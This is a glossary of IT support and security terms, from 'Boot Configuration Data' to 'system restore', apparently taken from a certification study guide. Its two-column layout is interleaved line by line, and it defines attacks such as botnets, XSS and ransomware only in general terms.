Boot Configuration Data (BCD)
AutoRun/AutoPlay Windows
Information about operating systems
mechanisms for automatic actions to
installed on the computer located
occur when a peripheral storage device
in \boot\bcd on the system partition.
is attached.
The BCD can be modified using the
backdoor Mechanism for gaining bcedit command-line tool or msconfig.
access to a computer that bypasses
boot method (OS setup) Device used to
or subverts the normal method of
start the setup program and hold source
authentication.
files for installing or upgrading an OS.
backup Security copy of production
boot sector virus Malicious code
data made to removable media, typically
inserted into the boot sector code or
according to a regular schedule.
partition table of a storage device that
Different backup types (full, incremental,
attempts to execute when the device is
or differential) balance media capacity,
attached.
time required to backup, and time
required to restore. bootleg app Software that illegally
copies or imitates a commercial product
backup chain Sequence of jobs starting
or brand.
with a full backup and followed by either
incremental or differential backups to bootrec command Windows command
implement a media rotation scheme. in Windows allowing for the repair (or
attempted repair) of the boot manager
badge reader Authentication
and boot loader.
mechanism that allows a user to present
a smart card to operate an entry system. botnet Group of hosts or devices that
has been infected by a control program
bash Command interpreter and
called a bot, which enables attackers to
scripting language for Unix-like systems.
exploit the hosts to mount attacks.
BAT Extension for the batch file format
branch In scripting and programming,
that is used to execute a series of
control statement that uses a condition
Windows CMD shell commands.
to determine which code block to
BIOS/UEFI password Passwords execute next.
set in system firmware to prevent
bring your own device (BYOD) Security
unauthorized booting of a computer
framework and tools to facilitate use
(user password) or changes to system
of personally owned devices to access
setup (supervisor password).
corporate networks and data.

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brute force attack Type of password formatted, removing any existing OS

attack where an attacker uses an and/or data files.
application to exhaustively try every
command and control (C2 or C&C)
possible alphanumeric combination to
Infrastructure of hosts and services with
crack encrypted passwords.
which attackers direct, distribute, and
cache (browser) Cookies, site files, form control malware over botnets.
data, passwords, and other information
command prompt (cmd.exe) Basic
stored by a browser. Caching behavior
shell interpreter for Windows.
can be enabled or disabled, and data
can be cleared manually. compatibility concern Considerations
that must be made when using an app
cat command Linux command to view
in an environment with multiple device
and combine (concatenate) files.
and OS platforms.
cd command Command-line tool used
complexity requirement Rules
to navigate the directory structure.
designed to enforce best-practice
Certificate Manager console (certmgr. password selection, such as minimum
msc) Console related to managing length and use of multiple character
digital certificates for the current user types.
and trusted root certification authority
computer security incident response
certificates.
team (CSIRT) Team with responsibility
certificate of destruction Validation for incident response. The CSIRT must
from an outsourcing provider of have expertise across a number of
recycling/repurposing services that business domains (IT, HR, legal, and
media has been destroyed or sanitized marketing, for instance).
to the agreed standard.
confidentiality, integrity, and
certificate warning Browser indication availability (CIA triad) Three principles
that a site connection is not secure of security control and management.
because the certificate is invalid or the Also known as the information security
issuing CA is not trusted. triad. Also referred to in reverse order
as the AIC triad.
chain of custody Record of evidence-
handling from collection to presentation configuration management Process
in court to disposal. through which an organization’s
information systems components are
change management Process
kept in a controlled state that meets
through which changes to the
the organization’s requirements,
configuration of information systems
including those for security and
are implemented as part of the
compliance.
organization’s overall configuration
management efforts. console Device that implements input
and output for a command shell. In
chkdsk command Command-line tool
Linux, multiple virtual consoles support
that verifies the integrity of a disk’s file
use of a single host by multiple user
system.
sessions simultaneously.
chmod command Linux command for
content filtering Security measure
managing file permissions.
performed on email and Internet
chown command Linux command for traffic to identify and block suspicious,
managing the account owner for files malicious, and/or inappropriate content
and directories. in accordance with an organization’s
policies.
Chrome OS Proprietary OS developed
by Google to run on specific laptop Control Panel Legacy management
(chromebooks) and PC (chromeboxes) interface for configuring user and
hardware. system settings in Windows.
clean install OS setup method where copy command Command-line tool for
the target disk is repartitioned and copying files in Windows.

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counter mode with cipher block to facilitate remote support of desktops

chaining message authentication and mobile devices on a corporate
code protocol (CCMP) Encryption network.
protocol used for wireless LANs that
developer mode Mobile-device
addresses the vulnerabilities of the WEP
feature designed for testing apps
protocol.
during development that may weaken
cp command Command-line tool for corporate security protections if
copying files in Linux. misused.
credit card transactions Regulated Device Manager Primary interface for
data related to processing financial configuring and managing hardware
transactions. devices in Windows. Device Manager
enables the administrator to disable
cron job Scheduled task that is
and remove devices, view hardware
managed by the Linux cron daemon.
properties and system resources, and
cross-site scripting (XSS) Malicious update device drivers.
script hosted on the attacker’s site or
device wipe Remote-initiated factory
coded in a link injected onto a trusted
reset of a mobile device that removes all
site designed to compromise clients
user data and settings.
browsing the trusted site, circumventing
the browser’s security model of trusted Devices and Printers Control Panel
zones. app for using and configuring attached
hardware.
cryptominer Malware that hijacks
computer resources to create Devices settings Windows Settings
cryptocurrency. pages for using and configuring
attached hardware.
cybersecurity Protection of computer
systems and digital information df/du commands Command-line tools
resources from unauthorized access, used to report storage usage in Linux.
attack, theft, or data damage.
dictionary attack Type of password
definitions Information about new attack that compares encrypted
viruses and other malware used to passwords against a predetermined list
update antivirus scanners. of possible password values.
Defragment and Optimize Drives tool differential backup Job type in which
(dfrgui.exe) Fragmentation occurs when all selected files that have changed since
a data file is not saved to contiguous the last full backup are backed up.
sectors on an HDD and reduces
dig command Utility to query a DNS
performance. The defragmenter
server and return information about
mitigates this and can also perform
a particular domain name or resource
optimization operations for SSDs.
record.
denial of service attack (DoS) Any
digital certificate Identification and
type of physical, application, or network
authentication information presented
attack that affects the availability of a
in the X.509 format and issued by a
managed resource.
Certificate Authority (CA) as a guarantee
desktop Graphical OS interface that that a key pair (as identified by the
allows programs to run within window public key embedded in the certificate)
containers. Desktop styles include tools is valid for a particular subject (user or
for launching apps, such as the Windows host).
Start Menu, and managing apps, such
digital forensics Process of gathering
as the Windows taskbar. Changes to the
and submitting computer evidence to
desktop style over the course of version
trial. Digital evidence is latent, meaning
and feature updates can be confusing
that it must be interpreted. This means
for users.
that great care must be taken to
desktop management software prove that the evidence has not been
General category of software designed tampered with or falsified.

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digital rights management (DRM) domain name system (DNS) Service

Copyright protection technologies for that maps fully qualified domain name
digital media. DRM solutions usually labels to IP addresses on most TCP/IP
try to restrict the number of devices networks, including the Internet.
allowed for playback of a licensed
drive navigation input (x:) Command-
digital file, such as a music track or
line utility used to select the working drive.
ebook.
dumpster diving The social engineering
digital signature Message digest
technique of discovering things about
encrypted using the sender’s private
an organization (or person) based on
key that is appended to a message to
what it throws away.
authenticate the sender and prove
message integrity. dynamic host configuration protocol
(DHCP) Protocol used to automatically
dir command Command-line utility that
assign IP addressing information to
displays information about the contents
hosts that have not been configured
of the current directory.
manually.
directory File system object used to
ease of access Windows Settings pages
organize other file system objects into
related to desktop and input/output
containers.
device accessibility configuration.
Disk Clean-up (cleanmgr.exe)
electrostatic discharge (ESD) Metal
Windows utility for removing temporary
and plastic surfaces can allow a charge
files to reclaim disk space.
to build up. This can discharge if a
Disk Management console potential difference is formed between
(diskmgmt.msc) Console related to the charged object and an oppositely
initializing, partitioning, and formatting charged conductive object. This
disk drives. electrical discharge can damage silicon
chips and computer components if they
Disk Utility macOS tool for disk and file
are exposed to it.
system support tasks.
encrypting file system (EFS) Microsoft’s
diskpart command Command-line
file-level encryption feature available for
utility used to configure disk partitions.
use on NTFS.
distributed denial of service attack
end of life (EOL) Product life cycle
(DDoS attack) An attack that uses
phase where mainstream vendor
multiple compromised hosts (a botnet)
support is no longer available.
to overwhelm a service with request or
response traffic. endpoint detection and response
(EDR) Software agent that collects
distribution method Formats for
system data and logs for analysis by
provisioning application installation files,
a monitoring system to provide early
such as via optical discs, downloads, and
detection of threats.
image files.
end-user license agreement (EULA)
DMG macOS installer format that can
Contract governing the installation and
be copied directly to the Applications
use of software.
folder.
enterprise wipe Remote-initiated
DMZ host Home router implementation
wipe of a mobile device that removes
of DMZ where all ports with no existing
corporate apps and data only.
forwarding rules are opened and
directed to a single LAN host. equipment grounding Wire that
provides a return path for electrical
Dock macOS feature for managing
current as a safety feature; if an
applications from the desktop; similar to
electrical connection short circuits
the Windows taskbar.
into the metal chassis, a ground wire
domain Group of hosts that is within ensures that the current flows to ground
the same namespace and administered rather than electrocuting someone
by the same authority. handling the faulty device.

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equipment lock Physical security authentication and establish secure

device that restricts access to ports and tunnels through which to submit
internal components to key holders. credentials.
erasing/wiping Using a third-party extension (browser) Add-on that uses
tool to fully erase storage media before the browser API to implement new
recycling or repurposing, minimizing the functionality.
risk of leaving persistent data remnants.
facial recognition Biometric
escalation In the context of support authentication mechanism that uses an
procedures, incident response, and infrared camera to verify that the user’s
breach-reporting, escalation is the face matches a 3D model recorded at
process of involving expert and senior enrollment.
staff to assist in problem management.
facial recognition lock Mobile-device
event viewer (eventvwr.msc) Windows bio-gesture authentication mechanism
console related to viewing and exporting that requires the user to scan his or her
events in the Windows logging file face to unlock the device.
format.
factory reset Standard routine created
everyone System security group that by manufacturer that can be invoked
represents any account, including to restore an appliance to its shipped
unauthenticated users. state, clearing any user customization,
configuration, or modification.
evil twin Wireless access point that
deceives users into believing that it is a failed login attempts restriction
legitimate network access point. Mobile-device authentication
mechanism that progressively delays or
execution control Process of
blocks unlock attempts after multiple
determining what additional software
failures.
may be installed on a client or server
computer beyond its baseline to prevent fast startup Power-saving option
the use of unauthorized software. allowing swift resume from sleep via
an image of system memory contents
expiration requirement Rules
saved to a hibernation file.
designed to enforce best-practice
password use by forcing regular FAT32 (file allocation table) 32-bit
selection of new passwords. file system used principally for system
partitions and removable media.
exploit Specific method by which
malware code infects a target host, feature update Release paradigm
often via some vulnerability in a introduced for Windows 10 where
software process. significant changes and new features
are distributed via Windows Update on
ext3 Standard Linux file system that
a semiannual schedule.
includes journaling and has since been
replaced with ext4. fencing Security barrier designed to
prevent unauthorized access to a site
ext4 One of the default file systems in
perimeter.
modern Linux versions that supports
journaling and large volumes. File Explorer Options Control Panel
app related to view and browsing
extended file allocation table (exFAT)
settings for File Explorer.
64-bit version of the FAT file system
with support for larger partition and file File History Windows feature for
sizes. backing up user data.
Extensible Authentication Protocol file sharing Windows firewall
(EAP) Framework for negotiating configuration that opens the network
authentication methods that enables ports required to operate as a file/print
systems to use hardware-based server.
identifiers, such as fingerprint
file system Structure for file data
scanners or smart card readers, for
indexing and storage created by a

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process of formatting a partition that Gaming settings Windows Settings

allows an OS to make use of a mass pages related to game mode settings
storage device, such as an HDD, SSD, and Xbox integration.
or thumb drive.
gpupdate/gpresult commands
fileless malware Exploit techniques Command-line tools to apply and
that use the host’s scripting analyze group policies. Group policies
environment to create malicious are a means of configuring registry
processes. settings.
FileVault macOS disk encryption grandfather-father-son (GFS)
product. Media rotation scheme that labels
tapes/devices used for backup jobs
find command Command-line Linux
in generations, with the youngest
tool used to search the file system.
generation having a shorter retention
Finder File management app in macOS. period than the oldest.
fingerprint lock Mobile-device bio- grep command Linux command for
gesture authentication mechanism that searching and filtering input. This can
requires the user to scan his or her be used as a file search tool when
fingerprint to unlock the device. combined with ls.
fingerprint scanner Biometric group policy editor (gpedit.msc)
authentication device that can produce Console related to configuring detailed
a template signature of a user’s user and system registry settings via
fingerprint and then subsequently policies.
compare the template to the digit
group policy object (GPO) On a
submitted for authentication.
Windows domain, a way to deploy per-
firmware Software instructions user and per-computer settings such as
embedded on a hardware device such password policy, account restrictions,
as a computer motherboard. Modern firewall status, and so on.
types of firmware are stored in flash
guest Non-privileged account that is
memory and can be updated more
permitted to access the computer/
easily than legacy programmable
network without authenticating.
read-only memory (ROM) types.
GUID partition table (GPT) Modern
folder redirection In Windows,
disk partitioning system allowing large
redirecting an individual user profile
numbers of partitions and very large
folder, such as Documents or Pictures,
partition sizes.
to a network share.
hard token USB storage key or smart
footprinting Phase in an attack or a
card with a cryptographic module that
penetration test in which the attacker
can hold authenticating encryption keys
or tester gathers information about the
securely.
target before attacking it.
hardware compatibility list (HCL)
force quit macOS tool for halting a
Before installing an OS, it is vital to
process; equivalent to the process
check that all the PC components have
management functionality in Task
been tested for compatibility with the
Manager.
OS (that they are on the Hardware
format command Command-line utility Compatibility List [HCL] or Windows
for creating a file system on a partition. Logo’d Product List). Incompatible
hardware may not work or may even
full backup Job type in which all
prevent the installation from completing
selected files, regardless of prior state,
successfully.
are backed up.
hash Function that converts an
fuse Circuit breaker designed to protect
arbitrary-length string input to a fixed-
the device and users of the device
length string output. A cryptographic
from faulty wiring or supply of power
hash function does this in a way that
(overcurrent protection).

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reduces the chance of collisions, where since the last full or incremental backup
two different inputs produce the same (whichever was most recent) are
output. backed up.
hibernate Power-saving state where the indexing options Control Panel
contents of memory are saved to hard app related to search database
disk (hiberfil.sys) and the computer is maintenance.
powered off. Restarting the computer
inheritance File system access-
restores the desktop.
control-concept where child objects
hive File storing configuration data are automatically assigned the same
corresponding to a section of the permissions as their parent object.
Windows registry.
in-place upgrade OS installation
home folder Default local or network method where the setup program is
folder for users to save data files to. launched from an existing OS. This can
typically retain user data files, settings,
home router SOHO device providing
and third-party apps.
Internet routing via a full fiber, DSL,
cable, or satellite link. These appliances insider threat Type of threat actor who
also provide a 4-port LAN switch and is assigned privileges on the system and
Wi-Fi plus a firewall. causes an intentional or unintentional
incident.
iCloud Mobile/cloud computing
office-productivity and data-storage instant search Windows feature
suite operated by Apple and closely allowing rapid search of apps, data
integrated with macOS and iOS. folders, messages, and the web.
ifconfig command Deprecated instant secure erase (ISE) Media
Linux command tool used to gather sanitization command built into HDDs
information about the IP configuration and SSDs that are self-encrypting that
of the network adapter or to configure works by erasing the encryption key,
the network adapter. leaving remnants unrecoverable.
image deployment Deployment Internet of Things (IoT) Devices that
method where the target disk is written can report state and configuration
with an image of the new OS. data and be remotely managed over IP
networks.
impact to business/operation/
network/device Considerations that Internet Options Control Panel applet
should be made when planning the allowing configuration of the Internet
installation or upgrade of new apps. Explorer web browser.
impersonation Social engineering Internet Protocol address (IP)
attack where an attacker pretends to be Format for logical host and network
someone he or she is not. addressing. In IPv4, a 32-bit binary
address is expressed in dotted decimal
implicit deny Basic principle of security
notation, such as 192.168.1.1. In IPv6,
stating that unless something has
addresses are 128-bit expressed
explicitly been granted access, it should
as hexadecimal (for example,
be denied access.
2001:db8::0bcd:abcd:ef12:1234).
incident response plan (IRP)
iOS OS for Apple’s iPhone smartphone
Procedures and guidelines covering
and most iPad tablet models.
appropriate priorities, actions, and
responsibilities in the event of security ip command Linux command tool
incidents, divided into preparation, used to gather information about
detection/analysis, containment, the IP configuration of the network
eradication/recovery, and post-incident adapter or to configure the network
stages. adapter.
incremental backup Job type in which iPadOS OS for some models of the
all selected files that have changed Apple iPad tablet.

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ipconfig command Command tool Local Users and Groups console

used to gather information about the IP (lusrmgr.msc) Console for creating and
configuration of a Windows host. managing user and group accounts with
the authentication and permissions
jailbreak Removes the protective seal
scope of the local system.
and any OS-specific restrictions to give
users greater control over the device. locator app Cloud app that uses mobile-
device location service to identify its
JavaScript Scripting language used
current position on a map and enable
to add interactivity to web pages and
security features to mitigate theft or loss.
HTML-format email.
login script Code that performs a series
JS Extension for the JavaScript file format.
of tasks automatically when a user
key (registry) In the Windows registry, account is authenticated.
a key is analogous to a folder on the
loop In scripting and programming,
file system. Keys are used to group like
control statement that executes code
settings together in a hierarchy that is
repeatedly based on a condition.
logical to navigate.
low level format Using a vendor tool
key exchange Any method by which
to fully erase storage media before
cryptographic keys are transferred
recycling or repurposing, minimizing the
among users, thus enabling the use of a
risk of leaving persistent data remnants.
cryptographic algorithm.
ls command Linux command for listing
Keychain macOS app for managing
file system objects.
passwords cached by the OS and
supported browser/web applications. lunchtime attack A malicious action
that takes place when a threat actor
keylogger Malicious software or
exploits an unlocked and unattended
hardware that can record user
desktop or mobile device to gain
keystrokes.
unauthorized access.
knowledge base (KB) Searchable
macOS Proprietary OS designed by
database of product FAQs (Frequently
Apple for their range of iMac computers,
Asked Questions), advice, and known
Mac workstations, and MacBook
troubleshooting issues. The Microsoft
portables.
KB is found at support.microsoft.com.
Magic Mouse/Trackpad Touch-enabled
least privilege Basic principle of
mouse and trackpad hardware for Apple
security stating that something should
computers.
be allocated the minimum necessary
rights, privileges, or information to magnetometer Handheld or walk-
perform its role. through metal detector designed to
detect concealed weapons.
lessons learned report (LLR) An
analysis of events that can provide Mail applet Control Panel applet related
insight into how to improve response to configuration of Microsoft Outlook
and support processes in the future. email accounts and storage files.
lighting Physical security mechanisms mapped drive Windows mechanism for
that ensure a site is sufficiently navigating shared network folders by
illuminated for employees and guests assigning them with drive letters.
to feel safe and for camera-based
master boot record (MBR) Sector
surveillance systems to work well.
on a mass storage device that holds
Linux Open-source OS packaged in information about partitions and the OS
distributions supported by a wide range boot loader.
of hardware and software vendors.
material safety data sheet (MSDS)
local account User account that can Information sheet accompanying
be authenticated again and allocated hazardous products or substances that
permissions for the computer that hosts explains the proper procedures for
the account only. handling and disposal.

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md command Command-line tool for information on a machine running

creating directories. TCP/IP, notably active connections, and
the routing table.
member server Any application server
computer that has joined a domain but Network & Internet settings Windows
does not maintain a copy of the Active Settings pages related to interface
Directory database. configuration, network profiles, and
proxy configuration.
metered connection Windows feature
for indicating that network data transfer Network and Sharing Center Control
is billable and for setting warnings and Panel related to interface configuration,
caps to avoid unexpected charges from network profiles, and discovery/file
the provider. sharing settings.
Microsoft account Cloud-based SSO network discovery Windows firewall
service allowing users to synchronize configuration that makes a host visible
settings between multiple Windows to network browsers.
devices.
network interface card (NIC) Adapter
Microsoft Management Console card that provides one or more Ethernet
(MMC) Utility allowing Windows ports for connecting hosts to a network so
administrative tools to be added as that they can exchange data over a link.
snap-ins to a single interface.
network location awareness (NLA)
Mission Control App facilitating Windows feature that categorizes
multiple desktops in macOS. network profile as public or private.
Each profile can have a different firewall
mobile device management (MDM)
configuration, with public network types
Process and supporting technologies for
being more restricted, by default.
tracking, controlling, and securing the
organization’s mobile infrastructure. network mask Number of bits applied
to an IP address to mask the network ID
motion sensor Alarm system triggered
portion from the host/interface ID portion.
by movement as detected by microwave
radio reflection or passive infrared network topology diagram
sensors. Documentation showing how network
nodes are connected by cabling or
move command Command-line tool for
how they are logically identified and
moving files in Windows.
connected, such as in IP networks.
multifactor authentication (MFA)
New Technology Filing System (NTFS)
Authentication scheme that requires the
64-bit default file system for Windows,
user to present at least two different
with file-by-file compression and
factors as credentials; for example,
RAID support as well as advanced file
something you know, something you
attribute management tools, encryption,
have, something you are, something you
and disk quotas.
do, and somewhere you are. Specifying
two factors is known as 2FA. non-compliant system System whose
configuration is different from its secure
mv command Command-line tool for
baseline.
moving files in Linux.
nslookup command Cross-platform
Nano Command-line text editor
command tool for querying DNS
operated by CTRL key combinations.
resource records.
Nearby Share Android feature for
NTFS permissions ACL that mediates
simple file sharing via Bluetooth.
local and network access to a file system
net commands Windows command object under Windows when the volume
suite for managing user/group accounts is formatted with NTFS.
and shares.
octal notation Linux file-permission
netstat command Cross-platform mode that uses numeric values to
command tool to show network represent permissions.

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on site versus off site Media rotation the user to input a join-the-dots pattern
scheme that ensures at least one copy to unlock the device.
of data is held at a different location
performance monitor (perfmon.msc)
to mitigate the risk of a disaster that
Console for reporting and recording
destroys all storage at a single site.
resource utilization via counter data for
OneDrive Cloud storage service object instances.
operated by Microsoft and closely
personal government-issued
integrated with Windows.
information Data related to identity
on-path attack Attack where the threat documents issued by governments,
actor makes an independent connection such as passports, social security IDs,
between two victims and is able to read and driving licenses, that is liable to be
and possibly modify traffic. subject to strict legal and regulatory
compliance requirements.
open-source Licensing model that
grants permissive rights to end-users, personal identification number
such as to install, use, modify, and (PIN) Number used in conjunction with
distribute a software product and its authentication devices such as smart
source code, as long as redistribution cards; as the PIN should be known
permits the same rights. only to the user, loss of the smart card
should not represent a security risk.
operator Programming object that can
resolve the truth value of a condition, personalization settings Windows
such as whether one variable is equal to Settings pages related to customizing
another. the appearance of the desktop using
themes.
organizational unit (OU) Structural
feature of a network directory that can personally identifiable information
be used to group objects that should (PII) Data that can be used to identify
share a common configuration or or contact an individual (or in the case
organizing principle, such as accounts of identity theft, to impersonate him
within the same business department. or her).
original equipment manufacturer phishing Email-based social engineering
(OEM) In PC terms, companies that sell attack, in which the attacker sends email
Windows co-branded under their own from a supposedly reputable source,
logo. OEM Windows licenses are valid such as a bank, to try to elicit private
only on the system that the software information from the victim.
was installed on, and the OEM must
phone settings Windows Settings
provide support.
pages for associating a smartphone with
palmprint scanner Biometric camera- Windows.
based scanner that uses unique features
physical destruction Using drilling,
of a palm shown by visible and infrared
shredding, incineration, or degaussing
light.
of storage media before recycling or
password attack Any attack where repurposing to minimize the risk of
the attacker tries to gain unauthorized leaving persistent data remnants.
access to and use of passwords.
physical placement Considerations for
password manager Software that can installation location for PC and network
suggest and store site and app passwords devices to ensure reliable and secure
to reduce risks from poor user choices operation.
and behavior. Most browsers have a
piggybacking Allowing a threat actor
built-in password manager.
to enter a site or controlled location
pathping command Windows utility without authorization.
for measuring latency and packet loss
PIN code lock Basic mobile-device
across an internetwork.
authentication mechanism that requires
pattern lock Mobile-device the correct number or passcode to
authentication mechanism that requires unlock the device.

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ping command Cross-platform network. The passphrase is used to

command tool for testing IP packet derive an encryption key.
transmission.
pretexting Social engineering tactic
PKG macOS installer format that where a team will communicate,
supports complex setup tasks. whether directly or indirectly, a lie or
half-truth in order to get someone to
plug-in (browser) Software
believe a falsehood.
installed to a web browser to handle
multimedia objects embedded in web privacy settings Windows Settings
pages. Use of most plug-in types is pages related to personal data collection
now deprecated. and use.
pop-up blocker Browser feature or private browsing Browser mode in
extension that prevents sites from which all session data and cache is
creating new browser windows. discarded and tracking protection
features are enabled by default.
port forwarding Process in which a
router takes requests from the Internet private key In asymmetric encryption,
for a particular application (such as the private key is known only to the
HTTP) and sends them to a designated holder and is linked to, but not derivable
host on the LAN. from, a public key distributed to
those with whom the holder wants to
port mapping Type of port forwarding
communicate securely. A private key
where the external port is forwarded to
can be used to encrypt data that can be
a different internal port on the LAN host.
decrypted by the linked public key or
port triggering Mechanism to vice versa.
configure access through a firewall for
process Software program that has
applications that require more than one
been executed and is running in system
port. Basically, when the firewall detects
memory.
activity on outbound port A destined
for a given external IP address, it opens programs and features Control
inbound access for the external IP Panel applet allowing management
address on port B for a set period. of Windows Features and third-party
software.
power failure Complete loss of building
power. prohibited content Data found on a
computer system that is not permitted
Power Options Control Panel app
by policy or that is not compliant with
related to configuring power button/lid
relevant legislation or regulations.
events and power-saving modes.
protected health information (PHI)
power users One of the default
Data that can be used to identify an
Windows group accounts. Its use is
individual and includes information
deprecated, but it is still included with
about past, present, or future health
Windows to support legacy applications.
as well as related payments and data
PowerShell (PS) Command shell used in the operation of a healthcare
and scripting language built on the business.
.NET Framework that use cmdlets for
proxy server Server that mediates
Windows automation.
the communications between a client
preboot execution environment (PXE) and another server. It can filter and
Feature of a network adapter that allows often modify communications as well
the computer to boot by contacting as provide caching services to improve
a suitably configured server over the performance.
network.
ps command Linux command for
pre-shared key (PSK) Wireless retrieving process information.
network authentication mode where a
PS1 Extension for the PowerShell script
passphrase-based mechanism is used to
format.
allow group authentication to a wireless

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public key During asymmetric remote access Trojan (RAT) Malware

encryption, this key is freely distributed that creates a backdoor remote
and can be used to perform the reverse administration channel to allow a threat
encryption or decryption operation of actor to access and control the infected
the linked private key in the pair. host.
pwd command Linux command for remote assistance (msra.exe)
showing the current directory (“Print Windows remote-support feature
Working Directory”). allowing a user to invite a technical
support professional to provide
PY Extension for a script written in the
assistance over a network using chat.
Python programming language.
The user can also grant the support
Python High-level programming professional control over his or her
language that is widely used for desktop. Remote Assistance uses the
automation. same RDP protocol as Remote Desktop.
quarantine The process of isolating Remote Authentication Dial-in
a file, computer system, or computer User Service (RADIUS) AAA protocol
network to prevent the spread of a virus used to manage remote and wireless
or another cybersecurity incident. authentication infrastructures.
Quick Assist Windows support feature Remote Desktop Protocol (RDP)
allowing remote screen-sharing over the Application protocol for operating
Internet. remote connections to a host using a
graphical interface. The protocol sends
ransomware Malware that tries
screen data from the remote host to
to extort money from the victim
the client and transfers mouse and
by blocking normal operation of a
keyboard input from the client to the
computer and/or encrypting the victim’s
remote host. It uses TCP port 3389.
files and demanding payment.
Remote Disc macOS tool for sharing an
recovery Operation to recover system
optical drive over the network.
functionality and/or data integrity using
backup media. remote monitoring and management
(RMM) Category of support software
recovery partition OEM recovery
designed for outsourced management
media enabling the user to reset the
of client networks by MSPs.
system to its factory configuration.
remote wipe Software that allows
recycle bin When files are deleted from
deletion of data and settings on a
a local hard disk, they are stored in the
mobile device to be initiated from a
Recycle Bin. They can be recovered from
remote server.
here if so desired.
reservation (DHCP) DHCP configuration
redirection Consequence of malware
that assigns either a prereserved or
infection where DNS and/or search
persistent IP address to a given host,
results are corrupted to redirect
based on its hardware address or
requests from legitimate site hosts to
other ID.
spoofed sites or ads.
reset this PC Windows feature to
registry editor (regedit) Tool for
attempt system recovery by reinstalling
making direct edits to the registry
Windows from source.
database, such as adding or modifying
keys or values. The Registry Editor resource monitor (resmon.exe)
can be used to make backups of the Console for live monitoring of resource
registry. utilization data for the CPU and GPU,
system memory, disk/file system, and
regulated data Information that has
network.
storage and handling compliance
requirements defined by national retina scanner Biometric scanner
and state legislation and/or industry based on analysis of the unique pattern
regulations. of blood vessels at the back of the eye.

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risk Likelihood and impact (or to alarm users and promote installation
consequence) of a threat actor of Trojan malware.
exercising a vulnerability.
sandbox Computing environment
risk analysis Process for qualifying or that is isolated from a host system
quantifying the likelihood and impact of to guarantee that the environment
a factor. runs in a controlled, secure fashion.
Communication links between the
rm command Command-line tool for
sandbox and the host are usually
deleting file system objects in Linux.
completely prohibited so that malware
rmdir command Command-line tool or faulty software can be analyzed in
for deleting directories in Windows. isolation and without risk to the host.
The /s switch enables the deletion of
sanitization Process of thoroughly
non-empty directories.
and completely removing data from a
roaming profile Configuring a network storage medium so that file remnants
share to hold user profile data. The data cannot be recovered.
is copied to and from the share at logon
screen lock Mobile-device mechanism
and logoff.
that locks the screen after a period of
robocopy command Command-line file inactivity.
copy utility recommended for use over
screened subnet Segment isolated
the older xcopy.
from the rest of a private network by
roll back updates/drivers Windows one or more firewalls that accepts
troubleshooting feature that allows connections from the Internet over
removal of an update or reversion to a designated ports.
previous driver version.
screensaver lock Security mechanism
root access (mobile) Gaining that locks the desktop after a period
superuser-level access over an Android- of inactivity and requires the user to
based mobile device. authenticate to resume.
rootkit Class of malware that modifies screen-sharing Software that allows
system files, often at the kernel level, to clients to view and control the desktop
conceal its presence. over a network or the Internet.
run as administrator Windows feature script Series of simple or complex
that requires a task to be explicitly commands, parameters, variables, and
launched with elevated privileges and other components stored in a text file
consented to via UAC. and processed by a shell interpreter.
run dialog Windows interface for secure connection Using HTTPS to
executing commands. browse a site where the host has
presented a valid digital certificate
safe mode Troubleshooting startup
issued by a CA that is trusted by the
mode that loads a limited selection of
browser. A padlock icon is shown
drivers and services.
to indicate the secure status of the
Samba Linux software package that connection.
implements Server Message Block
secure erase (SE) Method of sanitizing a
(SMB) file/print sharing, primarily to
drive using the ATA command set.
support integration with Windows
hosts. Secure Shell (SSH) Application protocol
supporting secure tunneling and remote
retention Process an organization uses
terminal emulation and file copy. SSH
to maintain the existence of and control
runs over TCP port 22.
over certain data in order to comply
with business policies and/or applicable security group Access control
laws and regulations. feature that allows permissions to
be allocated to multiple users more
rogue antivirus Spoofed desktop
efficiently.
notifications and browser ads designed

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service set identifier (SSID) Character smart card Security device similar to a
string that identifies a particular wireless credit card that can store authentication
LAN (WLAN). information, such as a user’s private key,
on an embedded cryptoprocessor.
services console (services.msc)
Windows machines run services to social engineering Activity where the
provide functions; for example, goal is to use deception and trickery to
Plug-and-Play, the print spooler, DHCP convince unsuspecting users to provide
client, and so on. These services can sensitive data or to violate security
be viewed, configured, and started/ guidelines.
stopped via the Services console. You
soft token Either an additional code
can also configure which services run
to use for 2-step verification, such as
at startup using msconfig. You can
a one-time password, or authorization
view background services (as well as
data that can be presented as evidence
applications) using the Processes tab
of authentication in an SSO system.
in Task Manager.
Sound applet Control Panel applet
sfc command Command-line utility
related to speaker and microphone
that checks the integrity of system and
configuration plus Windows sound
device driver files.
events and notifications.
SH Extension for a Linux shell script file
spear phishing Email-based or web-
format. The shebang in the first line of
based form of phishing that targets
the script identifies the shell type (Bash,
specific individuals.
for instance).
spinning wait cursor macOS indicator
shell System component providing a
that a process is busy and is not able to
command interpreter by which the user
accept input.
can use a kernel interface and operate
the OS. splash screen Displaying terms of use
or other restrictions before use of a
short message service (SMS) System
computer or app is allowed.
for sending text messages between cell
phones. spoofing Attack technique where the
threat actor disguises his or her identity
shoulder surfing Social engineering
or impersonates another user or
tactic to obtain someone’s password or
resource.
PIN by observing him or her as he or she
types it in. spotlight search macOS file system
search tool.
shutdown command Command-line
tool for shutting down or restarting the spyware Software that records
computer. The command is supported information about a PC and its users,
by Windows and Linux, though with often installed without the user’s
different syntax. consent.
Simultaneous Authentication of standard account Non-privileged user
Equals (SAE) Personal authentication account in Windows that typically has
mechanism for Wi-Fi networks membership of the Users security group
introduced with WPA3 to address only.
vulnerabilities in the WPA-PSK method.
standard formatting Using a vendor
single sign-on (SSO) Authentication tool to delete the file system and/or
technology that enables a user partition table on storage media before
to authenticate once and receive recycling or repurposing. This method
authorizations for multiple services. carries the greatest risk of leaving
persistent data remnants.
sleep Power-saving mode in Windows.
On a laptop, this functions much like standard operating procedure (SOP)
standby, but on a desktop, the system Documentation of best practice and
also creates a hibernation file before work instructions to use to perform a
entering the standby state. common administrative task.

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standby Power-saving mode where Protection, performance settings, and

power to all compatible components virtual memory.
except system memory is cut. Note that
system configuration utility
systems on standby still consume some
(msconfig.exe) Utility for configuring
electricity.
Windows startup settings.
startup Apps and scripts set to run
system information (msinfo32.exe)
when the computer starts or when
Utility that provides a report of the PC’s
the user signs in. Startup items can be
hardware and software configuration.
configured as shortcuts, registry entries,
or Task Scheduler triggers. system preferences macOS control
panel hosting multiple prefpane
startup repair Troubleshooting boot
configuration utilities.
options that allow use of tools such as
safe mode and recovery discs. system requirements Minimum
specifications for CPU speed, memory,
storage spaces Windows feature for
and disk capacity for installing an OS
creating a single storage resource from
or app.
multiple devices. Data can be protected
against device failure by RAID-like system restore (rstrui.exe) Windows
mirroring or parity. System Protection feature that allows
